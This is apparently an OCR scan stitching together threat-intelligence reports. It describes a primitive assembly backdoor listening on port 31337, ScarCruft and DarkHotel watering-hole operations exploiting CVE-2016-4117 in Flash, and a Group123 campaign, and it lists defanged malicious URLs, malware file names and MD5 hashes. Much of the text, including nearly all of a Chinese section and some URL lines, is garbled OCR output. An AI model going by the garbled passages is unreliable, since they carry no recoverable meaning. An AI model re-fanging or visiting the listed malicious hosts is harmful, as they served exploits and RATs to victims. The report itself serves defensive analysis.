Size 37,888

Interestingly, the backdoor is written in assembly language
and was injected into an empty Visual C executable that
served as a template. This unusual implementation was likely
chosen in order to confuse analysis or prevent detection by
simple anti-virus programs.

The backdoor is primitive and does nothing but listen to port
31337" and wait for a payload to be sent. The acceptable
payload format is depicted in Figure 1.

Figure 1: Acceptable payload format.

The assembly code is then executed and can perform any
action chosen by the predatory attackers. The backdoor
requires no authentication. Combining this sort of backdoor
with Metasploit or other similar frameworks could easily have
been used to control the system.

Black sheep wall

In June 2016, Kaspersky Lab researchers discovered an
unknown zero-day Adobe Flash Player exploit actively
leveraged in targeted attacks. Further analysis revealed
payload overlaps with the DarkHotel threat actor. DarkHotel
is known to have deployed several Adobe Flash Player
exploits over the years. What makes this case particularly
interesting is the fact that one of the websites compromised
by DarkHotel for use in watering hole attacks hosted

'The most ‘LEET!” port.

exploitation scripts from another APT group. We code-named
this second actor ‘ScarCruft’.

According to our telemetry, ScarCruft appears to have been

targeting Russian, Chinese, and Korean-speaking companies
and individuals, among others. This actor relies on watering
hole and spear-phishing attacks to infect its victims.

The most interesting overlap between DarkHotel and
ScarCruft became apparent with two operations we named
‘Operation Daybreak’ and ‘Operation Erebus’.

Operation Daybreak appears to have been launched by
ScarCruft in March 2016 and employed a previously
unknown (zero-day) Adobe Flash Player exploit. The script
used for exploitation was hosted at the following link:

hxxp://scarcroft(.]net/plus/thumbs/index.php

At the end of May 2016, Kaspersky’s advanced heuristic
detection technology caught a new, unique web attack
abusing the CVE-2016-4117 vulnerability. The malicious
payloads were distributed from compromised websites and
didn’t display apparent connections to previously known
malware. We decided to call this ‘Operation Erebus’.

In Operation Erebus, the two hacked websites used in the
attacks included the following link:

hxxp://scarcroft(.]net/wp-content/plugins/twitplug/
twitter.php

Additional links included:

IT e WwWw . ] L\:iLtEJJ’ Ul. T/ Wp=COIMLENL/PIadyerl
ggplayer.php?...

hxxp://www[.]chateau-eu[.] fr/wp-content/player/
qgplayer.jpg

hxxp://www[.]chateau-eu[.] fr/wp-content/plugins/
gallery/photo-gallery.php?...
hxxp://www[.]chateau-eu[.] fr/wp-content/protect/wp-
protect php?. .

Those links delivered a CVE-2016-4117 exploit, ripped from
previously known samples delivering FinFisher payloads,
with a slightly modified shellcode and payload URL, as
shown in Figure 2.

BN ERBIVER BRI L ESEIEE M
gnXfF4asvchost, BEFEATEATH, FILTTASLHE ;
BiigigaEs ;

urlEBEBTETEWp-content,
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MizXEHREIRALREF AGroup123,
3. TTPs

MNEEFELERE, EEHNNHETIPs. REWNR. WEEFRERDarkhotelfGroup1233
B, BERHFRENREEZANFHE, URBEIRAT FAREXHREHFNS,
ERGroup123#BtRAHEM, HLEFIFNABIRAGroup123,

4. %ig
b, B ZRBEEEAREBLGroup 1 239K EEN.
M, B4

Group123@# M HE AR HENIFEIAEN—TREAR, ZARBFEAOday TR EHHY
g€, EILHEHIDFRNE. BABRMAKMN—EZZENBARA BB XAUNAL,
{BZ248 X FIEATER M B AR EER AR Do

. B2EY

HATENA BB R EZNMSE LTI MEEE -

1. BAEARENE EMBVIRAD KRB THAEXRGE ;

2. BEEELNANWIFIMG, SELTEZERAWIFINGSG, BNFEH#ITEMENEE R
IERBVRIE, MUCRERE. IMBIS. RITEKS ; RFFEEERLAWIFRHITERIRH
BYFHERIRIE 5

3AEITAAFBENRFNERH . AIRXENBERAENE ;

AR BHT RGN T M EZIRHFRIANT 5

5. FABNBRNERIBNHRKXGREEERAME R ENBEEASHE ;

6. HFLUVAFSEBNHAESRRMSNRAERITHEIEREE T, HRSREMCNRTE,
EETHBIZERFELRENZLEESN. KRB AESIRNEEHIE, WA IR
BIRFEZRNERRS,  (https://s.tencent.com/product/gjwxjc/index.html)
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1. 10Cs
hxxp://artmuseums.or.kr/swfupload/fla/1.jpg
hxxp://fjtlephare.fr/wp-content/uploads/2018/05/null/

hxxp://casaabadia.es/ wp-content/uploads/2018/06/null/

svchost.exe (RAT)

€26¢81c569f6407404a726d48aa4d886

list of delivery.doc.exe

ced614fcf12ef25bcfc47cf68e3d008d

BN-190820.doc.exe (RAT)

94fd9ed97f1bc418a528380b1d0a59c3

plugin

b23a707a8e34d86d5c4902760990e6b1

24,350,508
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winrar

6f29df571ac82cfc99912fdcca3c7b4c

2019-08-08.doc.exe
51da0042fe2466747e6e6bc7ff6012b2
2, BEXE

1) https://www.fortinet.com/blog/threat-research/evasive-malware-campaign-abuses-
free-cloud-service-targets-korean-speakers.html

2) https://media.kasperskycontenthub.com/wp-
content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf
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